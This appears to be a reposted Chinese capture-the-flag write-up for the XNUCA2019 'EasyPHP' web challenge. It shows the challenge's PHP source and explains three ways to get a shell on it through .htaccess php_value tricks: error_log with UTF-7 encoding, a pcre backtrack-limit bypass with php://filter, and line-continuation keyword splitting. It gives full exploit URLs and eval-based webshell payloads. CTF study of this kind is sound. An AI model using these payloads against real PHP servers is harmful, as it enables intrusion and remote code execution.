[XNUCA2019Qualifier]EasyPHP


0x00 知識點

預期解中知識點:

htaccess生效

如果嘗試上傳htaccess文件會發現出現響應500的問題,因為文件尾有Just one chance 這里采用# \的方式將換行符轉義成普通字符,就可以用#來注釋單行了。

利用文件包含

代碼中有一處include_once("fl3g.php");,php的配置選項中有include_path可以用來設置include的路徑。如果tmp目錄下有fl3g.php,在可以通過將include_path設置為tmp的方式來完成文件包含。

指定目錄寫文件

如何在指定目錄寫指定文件名的文件呢?php的配置選項中有error_log可以滿足這一點。error_log可以將php運行報錯的記錄寫到指定文件中。
如何觸發報錯呢?這就是為什么代碼中寫了一處不存在的fl3g.php的原因。我們可以將include_path的內容設置成payload的內容,這時訪問頁面,頁面嘗試將payload作為一個路徑去訪問時就會因為找不到fl3g.php而報錯,而如果fl3g.php存在,則會因為include_path默認先訪問web目錄而不會報錯。

php_value include_path "xxx" 
php_value error_reporting 32767 
php_value error_log /tmp/fl3g.php

php_flag zend.multibyte 1結合php_value zend.script_encoding "UTF-7"繞過尖括號<過濾

寫入utf-7編碼的shellcode可以繞過<?的過濾
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的編碼:

php_flag zend.multibyte 1 
php_value zend.script_encoding "UTF-7"

綜上:
最后生成的.htaccess是這樣的

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance

非預期解1知識點

設置pcre的一些選項可以導致文件名判斷失效,從而直接寫入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z.]/", $filename) !== 0), 因此可以通過 php_value 設置正則回朔次數來使正則匹配的結果返回為 false 而不是 0 或 1, 默認的回朔次數比較大, 可以設成 0, 那么當超過此次數以后將返回 false

filename即可通過偽協議繞過前面stristr的判斷實現Getshell

非預期解2知識點

php_value auto_prepend_file ".htaccess"
#<?PHP eval($_GET[a]);?>\

因為后面content會拼接無意義字符串, 因此采用.htaccess的單行注釋繞過 # \,這里反斜杠本來就有拼接上下兩行的功能,因此這里本來就可以直接使用\來連接被過濾掉的關鍵字來寫入.htaccess

0x01 解題

打開題目給了我們源碼:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?> 

分析源碼:

首先刪除當前目錄下非index.php的文件
然后include(‘fl3g.php’),之后獲取filename和content並寫入文件中。其中對filename和content都有過濾。

filename若匹配到除了a-z和單引號.以外的其它字符,則觸發waf,
文件內容結尾被加上了一行

功能很簡單:
一個寫文件的功能且只能寫文件名為[a-z.]* 的文件,且文件內容存在黑名單過濾,並且結尾被加上了一行,這就導致我們無法直接寫入.htaccess里面auto_prepend_file等php_value。

結合上面:

預期解1

https://www.anquanke.com/post/id/185377#h3-6

Step1 寫入.htaccess error_log相關的配置

php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
http://65e4f7f3-b20b-4d9e-9de1-a59e81fd43b4.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\

Step2 訪問index.php留下error_log
Step3 寫入.htaccess新的配置

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \

Step4 再訪問一次index.php?1=evilcode即可getshell.

非預期解1:

php_value pcre.backtrack_limit    0
php_value auto_append_file    ".htaccess"
php_value pcre.jit   0
#aa<?php eval($_GET['a']);?>\

令filename為:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
這樣content就能繞過stristr,一般這種基於字符的過濾都可以用編碼進行繞過,這樣就能getshell了

非預期解2

因為后面content會拼接無意義字符串, 因此采用.htaccess的單行注釋繞過 # \,這里反斜杠本來就有拼接上下兩行的功能,因此這里本來就可以直接使用\來連接被過濾掉的關鍵字來寫入.htaccess,

php_value auto_prepend_fi\ 
le ".htaccess"   

參考鏈接:

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp
https://www.cnblogs.com/tr1ple/p/11439994.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM